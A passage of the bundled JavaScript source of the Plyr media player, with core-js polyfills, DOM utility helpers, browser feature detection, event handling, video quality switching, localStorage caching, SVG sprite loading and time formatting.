isWebkit: 'WebkitAppearance' in document.documentElement.style && !/Edge/.test(navigator.userAgent),
isIPhone: /(iPhone|iPod)/gi.test(navigator.platform),
isIos: /(iPad|iPhone|iPod)/gi.test(navigator.platform)
};
// `Array.prototype.{ reduce, reduceRight }` methods implementation
var createMethod$5 = function (IS_RIGHT) {
return function (that, callbackfn, argumentsLength, memo) {
aFunction$1(callbackfn);
var O = toObject(that);
var self = indexedObject(O);
var length = toLength(O.length);
var index = IS_RIGHT ? length - 1 : 0;
var i = IS_RIGHT ? -1 : 1;
if (argumentsLength < 2) while (true) {
if (index in self) {
memo = self[index];
index += i;
break;
}
index += i;
if (IS_RIGHT ? index < 0 : length <= index) {
throw TypeError('Reduce of empty array with no initial value');
}
}
for (;IS_RIGHT ? index >= 0 : length > index; index += i) if (index in self) {
memo = callbackfn(memo, self[index], index, O);
}
return memo;
};
};
var arrayReduce = {
// `Array.prototype.reduce` method
// https://tc39.github.io/ecma262/#sec-array.prototype.reduce
left: createMethod$5(false),
// `Array.prototype.reduceRight` method
// https://tc39.github.io/ecma262/#sec-array.prototype.reduceright
right: createMethod$5(true)
};
var $reduce = arrayReduce.left;
var STRICT_METHOD$5 = arrayMethodIsStrict('reduce');
var USES_TO_LENGTH$9 = arrayMethodUsesToLength('reduce', { 1: 0 });
// Chrome 80-82 has a critical bug
// https://bugs.chromium.org/p/chromium/issues/detail?id=1049982
var CHROME_BUG = !engineIsNode && engineV8Version > 79 && engineV8Version < 83;
// `Array.prototype.reduce` method
// https://tc39.github.io/ecma262/#sec-array.prototype.reduce
_export({ target: 'Array', proto: true, forced: !STRICT_METHOD$5 || !USES_TO_LENGTH$9 || CHROME_BUG }, {
reduce: function reduce(callbackfn /* , initialValue */) {
return $reduce(this, callbackfn, arguments.length, arguments.length > 1 ? arguments[1] : undefined);
}
});
function cloneDeep(object) {
return JSON.parse(JSON.stringify(object));
} // Get a nested value in an object
function getDeep(object, path) {
return path.split('.').reduce(function (obj, key) {
return obj && obj[key];
}, object);
} // Deep extend destination object with N more objects
function extend() {
var target = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
for (var _len = arguments.length, sources = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
sources[_key - 1] = arguments[_key];
}
if (!sources.length) {
return target;
}
var source = sources.shift();
if (!is$1.object(source)) {
return target;
}
Object.keys(source).forEach(function (key) {
if (is$1.object(source[key])) {
if (!Object.keys(target).includes(key)) {
Object.assign(target, _defineProperty({}, key, {}));
}
extend(target[key], source[key]);
} else {
Object.assign(target, _defineProperty({}, key, source[key]));
}
});
return extend.apply(void 0, [target].concat(sources));
}
function wrap$1(elements, wrapper) {
// Convert `elements` to an array, if necessary.
var targets = elements.length ? elements : [elements]; // Loops backwards to prevent having to clone the wrapper on the
// first element (see `child` below).
Array.from(targets).reverse().forEach(function (element, index) {
var child = index > 0 ? wrapper.cloneNode(true) : wrapper; // Cache the current parent and sibling.
var parent = element.parentNode;
var sibling = element.nextSibling; // Wrap the element (is automatically removed from its current
// parent).
child.appendChild(element); // If the element had a sibling, insert the wrapper before
// the sibling to maintain the HTML structure; otherwise, just
// append it to the parent.
if (sibling) {
parent.insertBefore(child, sibling);
} else {
parent.appendChild(child);
}
});
} // Set attributes
function setAttributes(element, attributes) {
if (!is$1.element(element) || is$1.empty(attributes)) {
return;
} // Assume null and undefined attributes should be left out,
// Setting them would otherwise convert them to "null" and "undefined"
Object.entries(attributes).filter(function (_ref) {
var _ref2 = _slicedToArray(_ref, 2),
value = _ref2[1];
return !is$1.nullOrUndefined(value);
}).forEach(function (_ref3) {
var _ref4 = _slicedToArray(_ref3, 2),
key = _ref4[0],
value = _ref4[1];
return element.setAttribute(key, value);
});
} // Create a DocumentFragment
function createElement(type, attributes, text) {
// Create a new <element>
var element = document.createElement(type); // Set all passed attributes
if (is$1.object(attributes)) {
setAttributes(element, attributes);
} // Add text node
if (is$1.string(text)) {
element.innerText = text;
} // Return built element
return element;
} // Inaert an element after another
function insertAfter(element, target) {
if (!is$1.element(element) || !is$1.element(target)) {
return;
}
target.parentNode.insertBefore(element, target.nextSibling);
} // Insert a DocumentFragment
function insertElement(type, parent, attributes, text) {
if (!is$1.element(parent)) {
return;
}
parent.appendChild(createElement(type, attributes, text));
} // Remove element(s)
function removeElement(element) {
if (is$1.nodeList(element) || is$1.array(element)) {
Array.from(element).forEach(removeElement);
return;
}
if (!is$1.element(element) || !is$1.element(element.parentNode)) {
return;
}
element.parentNode.removeChild(element);
} // Remove all child elements
function emptyElement(element) {
if (!is$1.element(element)) {
return;
}
var length = element.childNodes.length;
while (length > 0) {
element.removeChild(element.lastChild);
length -= 1;
}
} // Replace element
function replaceElement(newChild, oldChild) {
if (!is$1.element(oldChild) || !is$1.element(oldChild.parentNode) || !is$1.element(newChild)) {
return null;
}
oldChild.parentNode.replaceChild(newChild, oldChild);
return newChild;
} // Get an attribute object from a string selector
function getAttributesFromSelector(sel, existingAttributes) {
// For example:
// '.test' to { class: 'test' }
// '#test' to { id: 'test' }
// '[data-test="test"]' to { 'data-test': 'test' }
if (!is$1.string(sel) || is$1.empty(sel)) {
return {};
}
var attributes = {};
var existing = extend({}, existingAttributes);
sel.split(',').forEach(function (s) {
// Remove whitespace
var selector = s.trim();
var className = selector.replace('.', '');
var stripped = selector.replace(/[[\]]/g, ''); // Get the parts and value
var parts = stripped.split('=');
var _parts = _slicedToArray(parts, 1),
key = _parts[0];
var value = parts.length > 1 ? parts[1].replace(/["']/g, '') : ''; // Get the first character
var start = selector.charAt(0);
switch (start) {
case '.':
// Add to existing classname
if (is$1.string(existing.class)) {
attributes.class = "".concat(existing.class, " ").concat(className);
} else {
attributes.class = className;
}
break;
case '#':
// ID selector
attributes.id = selector.replace('#', '');
break;
case '[':
// Attribute selector
attributes[key] = value;
break;
}
});
return extend(existing, attributes);
} // Toggle hidden
function toggleHidden(element, hidden) {
if (!is$1.element(element)) {
return;
}
var hide = hidden;
if (!is$1.boolean(hide)) {
hide = !element.hidden;
} // eslint-disable-next-line no-param-reassign
element.hidden = hide;
} // Mirror Element.classList.toggle, with IE compatibility for "force" argument
function toggleClass(element, className, force) {
if (is$1.nodeList(element)) {
return Array.from(element).map(function (e) {
return toggleClass(e, className, force);
});
}
if (is$1.element(element)) {
var method = 'toggle';
if (typeof force !== 'undefined') {
method = force ? 'add' : 'remove';
}
element.classList[method](className);
return element.classList.contains(className);
}
return false;
} // Has class name
function hasClass(element, className) {
return is$1.element(element) && element.classList.contains(className);
} // Element matches selector
function matches$1(element, selector) {
var _Element = Element,
prototype = _Element.prototype;
function match() {
return Array.from(document.querySelectorAll(selector)).includes(this);
}
var method = prototype.matches || prototype.webkitMatchesSelector || prototype.mozMatchesSelector || prototype.msMatchesSelector || match;
return method.call(element, selector);
} // Closest ancestor element matching selector (also tests element itself)
function closest(element, selector) {
var _Element2 = Element,
prototype = _Element2.prototype; // https://developer.mozilla.org/en-US/docs/Web/API/Element/closest#Polyfill
function closestElement() {
var el = this;
do {
if (matches$1.matches(el, selector)) return el;
el = el.parentElement || el.parentNode;
} while (el !== null && el.nodeType === 1);
return null;
}
var method = prototype.closest || closestElement;
return method.call(element, selector);
} // Find all elements
function getElements(selector) {
return this.elements.container.querySelectorAll(selector);
} // Find a single element
function getElement(selector) {
return this.elements.container.querySelector(selector);
} // Set focus and tab focus class
function setFocus() {
var element = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null;
var tabFocus = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
if (!is$1.element(element)) {
return;
} // Set regular focus
element.focus({
preventScroll: true
}); // If we want to mimic keyboard focus via tab
if (tabFocus) {
toggleClass(element, this.config.classNames.tabFocus);
}
}
var defaultCodecs = {
'audio/ogg': 'vorbis',
'audio/wav': '1',
'video/webm': 'vp8, vorbis',
'video/mp4': 'avc1.42E01E, mp4a.40.2',
'video/ogg': 'theora'
}; // Check for feature support
var support = {
// Basic support
audio: 'canPlayType' in document.createElement('audio'),
video: 'canPlayType' in document.createElement('video'),
// Check for support
// Basic functionality vs full UI
check: function check(type, provider, playsinline) {
var canPlayInline = browser.isIPhone && playsinline && support.playsinline;
var api = support[type] || provider !== 'html5';
var ui = api && support.rangeInput && (type !== 'video' || !browser.isIPhone || canPlayInline);
return {
api: api,
ui: ui
};
},
// Picture-in-picture support
// Safari & Chrome only currently
pip: function () {
if (browser.isIPhone) {
return false;
} // Safari
// https://developer.apple.com/documentation/webkitjs/adding_picture_in_picture_to_your_safari_media_controls
if (is$1.function(createElement('video').webkitSetPresentationMode)) {
return true;
} // Chrome
// https://developers.google.com/web/updates/2018/10/watch-video-using-picture-in-picture
if (document.pictureInPictureEnabled && !createElement('video').disablePictureInPicture) {
return true;
}
return false;
}(),
// Airplay support
// Safari only currently
airplay: is$1.function(window.WebKitPlaybackTargetAvailabilityEvent),
// Inline playback support
// https://webkit.org/blog/6784/new-video-policies-for-ios/
playsinline: 'playsInline' in document.createElement('video'),
// Check for mime type support against a player instance
// Credits: http://diveintohtml5.info/everything.html
// Related: http://www.leanbackplayer.com/test/h5mt.html
mime: function mime(input) {
if (is$1.empty(input)) {
return false;
}
var _input$split = input.split('/'),
_input$split2 = _slicedToArray(_input$split, 1),
mediaType = _input$split2[0];
var type = input; // Verify we're using HTML5 and there's no media type mismatch
if (!this.isHTML5 || mediaType !== this.type) {
return false;
} // Add codec if required
if (Object.keys(defaultCodecs).includes(type)) {
type += "; codecs=\"".concat(defaultCodecs[input], "\"");
}
try {
return Boolean(type && this.media.canPlayType(type).replace(/no/, ''));
} catch (e) {
return false;
}
},
// Check for textTracks support
textTracks: 'textTracks' in document.createElement('video'),
// <input type="range"> Sliders
rangeInput: function () {
var range = document.createElement('input');
range.type = 'range';
return range.type === 'range';
}(),
// Touch
// NOTE: Remember a device can be mouse + touch enabled so we check on first touch event
touch: 'ontouchstart' in document.documentElement,
// Detect transitions support
transitions: transitionEndEvent !== false,
// Reduced motion iOS & MacOS setting
// https://webkit.org/blog/7551/responsive-design-for-motion/
reducedMotion: 'matchMedia' in window && window.matchMedia('(prefers-reduced-motion)').matches
};
// https://github.com/WICG/EventListenerOptions/blob/gh-pages/explainer.md
// https://www.youtube.com/watch?v=NPM6172J22g
var supportsPassiveListeners = function () {
// Test via a getter in the options object to see if the passive property is accessed
var supported = false;
try {
var options = Object.defineProperty({}, 'passive', {
get: function get() {
supported = true;
return null;
}
});
window.addEventListener('test', null, options);
window.removeEventListener('test', null, options);
} catch (e) {// Do nothing
}
return supported;
}(); // Toggle event listener
function toggleListener(element, event, callback) {
var _this = this;
var toggle = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : false;
var passive = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : true;
var capture = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : false;
// Bail if no element, event, or callback
if (!element || !('addEventListener' in element) || is$1.empty(event) || !is$1.function(callback)) {
return;
} // Allow multiple events
var events = event.split(' '); // Build options
// Default to just the capture boolean for browsers with no passive listener support
var options = capture; // If passive events listeners are supported
if (supportsPassiveListeners) {
options = {
// Whether the listener can be passive (i.e. default never prevented)
passive: passive,
// Whether the listener is a capturing listener or not
capture: capture
};
} // If a single node is passed, bind the event listener
events.forEach(function (type) {
if (_this && _this.eventListeners && toggle) {
// Cache event listener
_this.eventListeners.push({
element: element,
type: type,
callback: callback,
options: options
});
}
element[toggle ? 'addEventListener' : 'removeEventListener'](type, callback, options);
});
} // Bind event handler
function on(element) {
var events = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '';
var callback = arguments.length > 2 ? arguments[2] : undefined;
var passive = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : true;
var capture = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : false;
toggleListener.call(this, element, events, callback, true, passive, capture);
} // Unbind event handler
function off(element) {
var events = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '';
var callback = arguments.length > 2 ? arguments[2] : undefined;
var passive = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : true;
var capture = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : false;
toggleListener.call(this, element, events, callback, false, passive, capture);
} // Bind once-only event handler
function once(element) {
var _this2 = this;
var events = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '';
var callback = arguments.length > 2 ? arguments[2] : undefined;
var passive = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : true;
var capture = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : false;
var onceCallback = function onceCallback() {
off(element, events, onceCallback, passive, capture);
for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
callback.apply(_this2, args);
};
toggleListener.call(this, element, events, onceCallback, true, passive, capture);
} // Trigger event
function triggerEvent(element) {
var type = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '';
var bubbles = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;
var detail = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {};
// Bail if no element
if (!is$1.element(element) || is$1.empty(type)) {
return;
} // Create and dispatch the event
var event = new CustomEvent(type, {
bubbles: bubbles,
detail: _objectSpread2(_objectSpread2({}, detail), {}, {
plyr: this
})
}); // Dispatch the event
element.dispatchEvent(event);
} // Unbind all cached event listeners
function unbindListeners() {
if (this && this.eventListeners) {
this.eventListeners.forEach(function (item) {
var element = item.element,
type = item.type,
callback = item.callback,
options = item.options;
element.removeEventListener(type, callback, options);
});
this.eventListeners = [];
}
} // Run method when / if player is ready
function ready() {
var _this3 = this;
return new Promise(function (resolve) {
return _this3.ready ? setTimeout(resolve, 0) : on.call(_this3, _this3.elements.container, 'ready', resolve);
}).then(function () {});
}
/**
* Silence a Promise-like object.
* This is useful for avoiding non-harmful, but potentially confusing "uncaught
* play promise" rejection error messages.
* @param {Object} value An object that may or may not be `Promise`-like.
*/
function silencePromise(value) {
if (is$1.promise(value)) {
value.then(null, function () {});
}
}
function validateRatio(input) {
if (!is$1.array(input) && (!is$1.string(input) || !input.includes(':'))) {
return false;
}
var ratio = is$1.array(input) ? input : input.split(':');
return ratio.map(Number).every(is$1.number);
}
function reduceAspectRatio(ratio) {
if (!is$1.array(ratio) || !ratio.every(is$1.number)) {
return null;
}
var _ratio = _slicedToArray(ratio, 2),
width = _ratio[0],
height = _ratio[1];
var getDivider = function getDivider(w, h) {
return h === 0 ? w : getDivider(h, w % h);
};
var divider = getDivider(width, height);
return [width / divider, height / divider];
}
function getAspectRatio(input) {
var parse = function parse(ratio) {
return validateRatio(ratio) ? ratio.split(':').map(Number) : null;
}; // Try provided ratio
var ratio = parse(input); // Get from config
if (ratio === null) {
ratio = parse(this.config.ratio);
} // Get from embed
if (ratio === null && !is$1.empty(this.embed) && is$1.array(this.embed.ratio)) {
ratio = this.embed.ratio;
} // Get from HTML5 video
if (ratio === null && this.isHTML5) {
var _this$media = this.media,
videoWidth = _this$media.videoWidth,
videoHeight = _this$media.videoHeight;
ratio = reduceAspectRatio([videoWidth, videoHeight]);
}
return ratio;
} // Set aspect ratio for responsive container
function setAspectRatio(input) {
if (!this.isVideo) {
return {};
}
var wrapper = this.elements.wrapper;
var ratio = getAspectRatio.call(this, input);
var _ref = is$1.array(ratio) ? ratio : [0, 0],
_ref2 = _slicedToArray(_ref, 2),
w = _ref2[0],
h = _ref2[1];
var padding = 100 / w * h;
wrapper.style.paddingBottom = "".concat(padding, "%"); // For Vimeo we have an extra <div> to hide the standard controls and UI
if (this.isVimeo && !this.config.vimeo.premium && this.supported.ui) {
var height = 100 / this.media.offsetWidth * parseInt(window.getComputedStyle(this.media).paddingBottom, 10);
var offset = (height - padding) / (height / 50);
if (this.fullscreen.active) {
wrapper.style.paddingBottom = null;
} else {
this.media.style.transform = "translateY(-".concat(offset, "%)");
}
} else if (this.isHTML5) {
wrapper.classList.toggle(this.config.classNames.videoFixedRatio, ratio !== null);
}
return {
padding: padding,
ratio: ratio
};
}
var html5 = {
getSources: function getSources() {
var _this = this;
if (!this.isHTML5) {
return [];
}
var sources = Array.from(this.media.querySelectorAll('source')); // Filter out unsupported sources (if type is specified)
return sources.filter(function (source) {
var type = source.getAttribute('type');
if (is$1.empty(type)) {
return true;
}
return support.mime.call(_this, type);
});
},
// Get quality levels
getQualityOptions: function getQualityOptions() {
// Whether we're forcing all options (e.g. for streaming)
if (this.config.quality.forced) {
return this.config.quality.options;
} // Get sizes from <source> elements
return html5.getSources.call(this).map(function (source) {
return Number(source.getAttribute('size'));
}).filter(Boolean);
},
setup: function setup() {
if (!this.isHTML5) {
return;
}
var player = this; // Set speed options from config
player.options.speed = player.config.speed.options; // Set aspect ratio if fixed
if (!is$1.empty(this.config.ratio)) {
setAspectRatio.call(player);
} // Quality
Object.defineProperty(player.media, 'quality', {
get: function get() {
// Get sources
var sources = html5.getSources.call(player);
var source = sources.find(function (s) {
return s.getAttribute('src') === player.source;
}); // Return size, if match is found
return source && Number(source.getAttribute('size'));
},
set: function set(input) {
if (player.quality === input) {
return;
} // If we're using an an external handler...
if (player.config.quality.forced && is$1.function(player.config.quality.onChange)) {
player.config.quality.onChange(input);
} else {
// Get sources
var sources = html5.getSources.call(player); // Get first match for requested size
var source = sources.find(function (s) {
return Number(s.getAttribute('size')) === input;
}); // No matching source found
if (!source) {
return;
} // Get current state
var _player$media = player.media,
currentTime = _player$media.currentTime,
paused = _player$media.paused,
preload = _player$media.preload,
readyState = _player$media.readyState,
playbackRate = _player$media.playbackRate; // Set new source
player.media.src = source.getAttribute('src'); // Prevent loading if preload="none" and the current source isn't loaded (#1044)
if (preload !== 'none' || readyState) {
// Restore time
player.once('loadedmetadata', function () {
player.speed = playbackRate;
player.currentTime = currentTime; // Resume playing
if (!paused) {
silencePromise(player.play());
}
}); // Load new source
player.media.load();
}
} // Trigger change event
triggerEvent.call(player, player.media, 'qualitychange', false, {
quality: input
});
}
});
},
// Cancel current network requests
// See https://github.com/sampotts/plyr/issues/174
cancelRequests: function cancelRequests() {
if (!this.isHTML5) {
return;
} // Remove child sources
removeElement(html5.getSources.call(this)); // Set blank video src attribute
// This is to prevent a MEDIA_ERR_SRC_NOT_SUPPORTED error
// Info: http://stackoverflow.com/questions/32231579/how-to-properly-dispose-of-an-html5-video-and-close-socket-or-connection
this.media.setAttribute('src', this.config.blankVideo); // Load the new empty source
// This will cancel existing requests
// See https://github.com/sampotts/plyr/issues/174
this.media.load(); // Debugging
this.debug.log('Cancelled network requests');
}
};
function dedupe(array) {
if (!is$1.array(array)) {
return array;
}
return array.filter(function (item, index) {
return array.indexOf(item) === index;
});
} // Get the closest value in an array
function closest$1(array, value) {
if (!is$1.array(array) || !array.length) {
return null;
}
return array.reduce(function (prev, curr) {
return Math.abs(curr - value) < Math.abs(prev - value) ? curr : prev;
});
}
var defineProperty$6 = objectDefineProperty.f;
var getOwnPropertyNames$1 = objectGetOwnPropertyNames.f;
var setInternalState$7 = internalState.set;
var MATCH$2 = wellKnownSymbol('match');
var NativeRegExp = global_1.RegExp;
var RegExpPrototype$1 = NativeRegExp.prototype;
var re1 = /a/g;
var re2 = /a/g;
// "new" should create a new object, old webkit bug
var CORRECT_NEW = new NativeRegExp(re1) !== re1;
var UNSUPPORTED_Y$2 = regexpStickyHelpers.UNSUPPORTED_Y;
var FORCED$4 = descriptors && isForced_1('RegExp', (!CORRECT_NEW || UNSUPPORTED_Y$2 || fails(function () {
re2[MATCH$2] = false;
// RegExp constructor can alter flags and IsRegExp works correct with @@match
return NativeRegExp(re1) != re1 || NativeRegExp(re2) == re2 || NativeRegExp(re1, 'i') != '/a/i';
})));
// `RegExp` constructor
// https://tc39.github.io/ecma262/#sec-regexp-constructor
if (FORCED$4) {
var RegExpWrapper = function RegExp(pattern, flags) {
var thisIsRegExp = this instanceof RegExpWrapper;
var patternIsRegExp = isRegexp(pattern);
var flagsAreUndefined = flags === undefined;
var sticky;
if (!thisIsRegExp && patternIsRegExp && pattern.constructor === RegExpWrapper && flagsAreUndefined) {
return pattern;
}
if (CORRECT_NEW) {
if (patternIsRegExp && !flagsAreUndefined) pattern = pattern.source;
} else if (pattern instanceof RegExpWrapper) {
if (flagsAreUndefined) flags = regexpFlags.call(pattern);
pattern = pattern.source;
}
if (UNSUPPORTED_Y$2) {
sticky = !!flags && flags.indexOf('y') > -1;
if (sticky) flags = flags.replace(/y/g, '');
}
var result = inheritIfRequired(
CORRECT_NEW ? new NativeRegExp(pattern, flags) : NativeRegExp(pattern, flags),
thisIsRegExp ? this : RegExpPrototype$1,
RegExpWrapper
);
if (UNSUPPORTED_Y$2 && sticky) setInternalState$7(result, { sticky: sticky });
return result;
};
var proxy = function (key) {
key in RegExpWrapper || defineProperty$6(RegExpWrapper, key, {
configurable: true,
get: function () { return NativeRegExp[key]; },
set: function (it) { NativeRegExp[key] = it; }
});
};
var keys$2 = getOwnPropertyNames$1(NativeRegExp);
var index = 0;
while (keys$2.length > index) proxy(keys$2[index++]);
RegExpPrototype$1.constructor = RegExpWrapper;
RegExpWrapper.prototype = RegExpPrototype$1;
redefine(global_1, 'RegExp', RegExpWrapper);
}
// https://tc39.github.io/ecma262/#sec-get-regexp-@@species
setSpecies('RegExp');
function generateId(prefix) {
return "".concat(prefix, "-").concat(Math.floor(Math.random() * 10000));
} // Format string
function format(input) {
for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
args[_key - 1] = arguments[_key];
}
if (is$1.empty(input)) {
return input;
}
return input.toString().replace(/{(\d+)}/g, function (match, i) {
return args[i].toString();
});
} // Get percentage
function getPercentage(current, max) {
if (current === 0 || max === 0 || Number.isNaN(current) || Number.isNaN(max)) {
return 0;
}
return (current / max * 100).toFixed(2);
} // Replace all occurances of a string in a string
var replaceAll = function replaceAll() {
var input = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : '';
var find = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '';
var replace = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : '';
return input.replace(new RegExp(find.toString().replace(/([.*+?^=!:${}()|[\]/\\])/g, '\\$1'), 'g'), replace.toString());
}; // Convert to title case
var toTitleCase = function toTitleCase() {
var input = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : '';
return input.toString().replace(/\w\S*/g, function (text) {
return text.charAt(0).toUpperCase() + text.substr(1).toLowerCase();
});
}; // Convert string to pascalCase
function toPascalCase() {
var input = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : '';
var string = input.toString(); // Convert kebab case
string = replaceAll(string, '-', ' '); // Convert snake case
string = replaceAll(string, '_', ' '); // Convert to title case
string = toTitleCase(string); // Convert to pascal case
return replaceAll(string, ' ', '');
} // Convert string to pascalCase
function toCamelCase() {
var input = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : '';
var string = input.toString(); // Convert to pascal case
string = toPascalCase(string); // Convert first character to lowercase
return string.charAt(0).toLowerCase() + string.slice(1);
} // Remove HTML from a string
function stripHTML(source) {
var fragment = document.createDocumentFragment();
var element = document.createElement('div');
fragment.appendChild(element);
element.innerHTML = source;
return fragment.firstChild.innerText;
} // Like outerHTML, but also works for DocumentFragment
function getHTML(element) {
var wrapper = document.createElement('div');
wrapper.appendChild(element);
return wrapper.innerHTML;
}
var resources = {
pip: 'PIP',
airplay: 'AirPlay',
html5: 'HTML5',
vimeo: 'Vimeo',
youtube: 'YouTube'
};
var i18n = {
get: function get() {
var key = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : '';
var config = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
if (is$1.empty(key) || is$1.empty(config)) {
return '';
}
var string = getDeep(config.i18n, key);
if (is$1.empty(string)) {
if (Object.keys(resources).includes(key)) {
return resources[key];
}
return '';
}
var replace = {
'{seektime}': config.seekTime,
'{title}': config.title
};
Object.entries(replace).forEach(function (_ref) {
var _ref2 = _slicedToArray(_ref, 2),
k = _ref2[0],
v = _ref2[1];
string = replaceAll(string, k, v);
});
return string;
}
};
var Storage = /*#__PURE__*/function () {
function Storage(player) {
var _this = this;
_classCallCheck(this, Storage);
_defineProperty(this, "get", function (key) {
if (!Storage.supported || !_this.enabled) {
return null;
}
var store = window.localStorage.getItem(_this.key);
if (is$1.empty(store)) {
return null;
}
var json = JSON.parse(store);
return is$1.string(key) && key.length ? json[key] : json;
});
_defineProperty(this, "set", function (object) {
// Bail if we don't have localStorage support or it's disabled
if (!Storage.supported || !_this.enabled) {
return;
} // Can only store objectst
if (!is$1.object(object)) {
return;
} // Get current storage
var storage = _this.get(); // Default to empty object
if (is$1.empty(storage)) {
storage = {};
} // Update the working copy of the values
extend(storage, object); // Update storage
window.localStorage.setItem(_this.key, JSON.stringify(storage));
});
this.enabled = player.config.storage.enabled;
this.key = player.config.storage.key;
} // Check for actual support (see if we can use it)
_createClass(Storage, null, [{
key: "supported",
get: function get() {
try {
if (!('localStorage' in window)) {
return false;
}
var test = '___test'; // Try to use it (it might be disabled, e.g. user is in private mode)
// see: https://github.com/sampotts/plyr/issues/131
window.localStorage.setItem(test, test);
window.localStorage.removeItem(test);
return true;
} catch (e) {
return false;
}
}
}]);
return Storage;
}();
// ==========================================================================
// Fetch wrapper
// Using XHR to avoid issues with older browsers
// ==========================================================================
function fetch(url) {
var responseType = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'text';
return new Promise(function (resolve, reject) {
try {
var request = new XMLHttpRequest(); // Check for CORS support
if (!('withCredentials' in request)) {
return;
}
request.addEventListener('load', function () {
if (responseType === 'text') {
try {
resolve(JSON.parse(request.responseText));
} catch (e) {
resolve(request.responseText);
}
} else {
resolve(request.response);
}
});
request.addEventListener('error', function () {
throw new Error(request.status);
});
request.open('GET', url, true); // Set the required response type
request.responseType = responseType;
request.send();
} catch (e) {
reject(e);
}
});
}
// ==========================================================================
function loadSprite(url, id) {
if (!is$1.string(url)) {
return;
}
var prefix = 'cache';
var hasId = is$1.string(id);
var isCached = false;
var exists = function exists() {
return document.getElementById(id) !== null;
};
var update = function update(container, data) {
// eslint-disable-next-line no-param-reassign
container.innerHTML = data; // Check again incase of race condition
if (hasId && exists()) {
return;
} // Inject the SVG to the body
document.body.insertAdjacentElement('afterbegin', container);
}; // Only load once if ID set
if (!hasId || !exists()) {
var useStorage = Storage.supported; // Create container
var container = document.createElement('div');
container.setAttribute('hidden', '');
if (hasId) {
container.setAttribute('id', id);
} // Check in cache
if (useStorage) {
var cached = window.localStorage.getItem("".concat(prefix, "-").concat(id));
isCached = cached !== null;
if (isCached) {
var data = JSON.parse(cached);
update(container, data.content);
}
} // Get the sprite
fetch(url).then(function (result) {
if (is$1.empty(result)) {
return;
}
if (useStorage) {
window.localStorage.setItem("".concat(prefix, "-").concat(id), JSON.stringify({
content: result
}));
}
update(container, result);
}).catch(function () {});
}
}
var ceil$1 = Math.ceil;
var floor$5 = Math.floor;
// `Math.trunc` method
// https://tc39.github.io/ecma262/#sec-math.trunc
_export({ target: 'Math', stat: true }, {
trunc: function trunc(it) {
return (it > 0 ? floor$5 : ceil$1)(it);
}
});
var getHours = function getHours(value) {
return Math.trunc(value / 60 / 60 % 60, 10);
};
var getMinutes = function getMinutes(value) {
return Math.trunc(value / 60 % 60, 10);
};
var getSeconds = function getSeconds(value) {
return Math.trunc(value % 60, 10);
}; // Format time to UI friendly string
function formatTime() {
var time = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
var displayHours = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
var inverted = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;
// Bail if the value isn't a number
if (!is$1.number(time)) {
return formatTime(undefined, displayHours, inverted);
} // Format time component to add leading zero
var format = function format(value) {
return "0".concat(value).slice(-2);
}; // Breakdown to hours, mins, secs
var hours = getHours(time);
var mins = getMinutes(time);
var secs = getSeconds(time); // Do we need to display hours?
if (displayHours || hours > 0) {
hours = "".concat(hours, ":");
} else {
hours = '';
} // Render
return "".concat(inverted && time > 0 ? '-' : '').concat(hours).concat(format(mins), ":").concat(format(secs));
}
var controls = {
// Get icon URL
getIconUrl: function getIconUrl() {
var url = new URL(this.config.iconUrl, window.location);
var cors = url.host !== window.location.host || browser.isIE && !window.svg4everybody;
return {
url: this.config.iconUrl,
cors: cors
};
},
// Find the UI controls
findElements: function findElements() {
try {
this.elements.controls = getElement.call(this, this.config.selectors.controls.wrapper); // Buttons
this.elements.buttons = {
play: getElements.call(this, this.config.selectors.buttons.play),
pause: getElement.call(this, this.config.selectors.buttons.pause),
restart: getElement.call(this, this.config.selectors.buttons.restart),
rewind: getElement.call(this, this.config.selectors.buttons.rewind),
fastForward: getElement.call(this, this.config.selectors.buttons.fastForward),
mute: getElement.call(this, this.config.selectors.buttons.mute),
pip: getElement.call(this, this.config.selectors.buttons.pip),
airplay: getElement.call(this, this.config.selectors.buttons.airplay),
settings: getElement.call(this, this.config.selectors.buttons.settings),
captions: getElement.call(this, this.config.selectors.buttons.captions),
fullscreen: getElement.call(this, this.config.selectors.buttons.fullscreen)
}; // Progress
this.elements.progress = getElement.call(this, this.config.selectors.progress); // Inputs
this.elements.inputs = {
seek: getElement.call(this, this.config.selectors.inputs.seek),
volume: getElement.call(this, this.config.selectors.inputs.volume)
}; // Display
this.elements.display = {
buffer: getElement.call(this, this.config.selectors.display.buffer),
currentTime: getElement.call(this, this.config.selectors.display.currentTime),
duration: getElement.call(this, this.config.selectors.display.duration)
}; // Seek tooltip
if (is$1.element(this.elements.progress)) {
this.elements.display.seekTooltip = this.elements.progress.querySelector(".".concat(this.config.classNames.tooltip));
}
return true;
} catch (error) {
// Log it
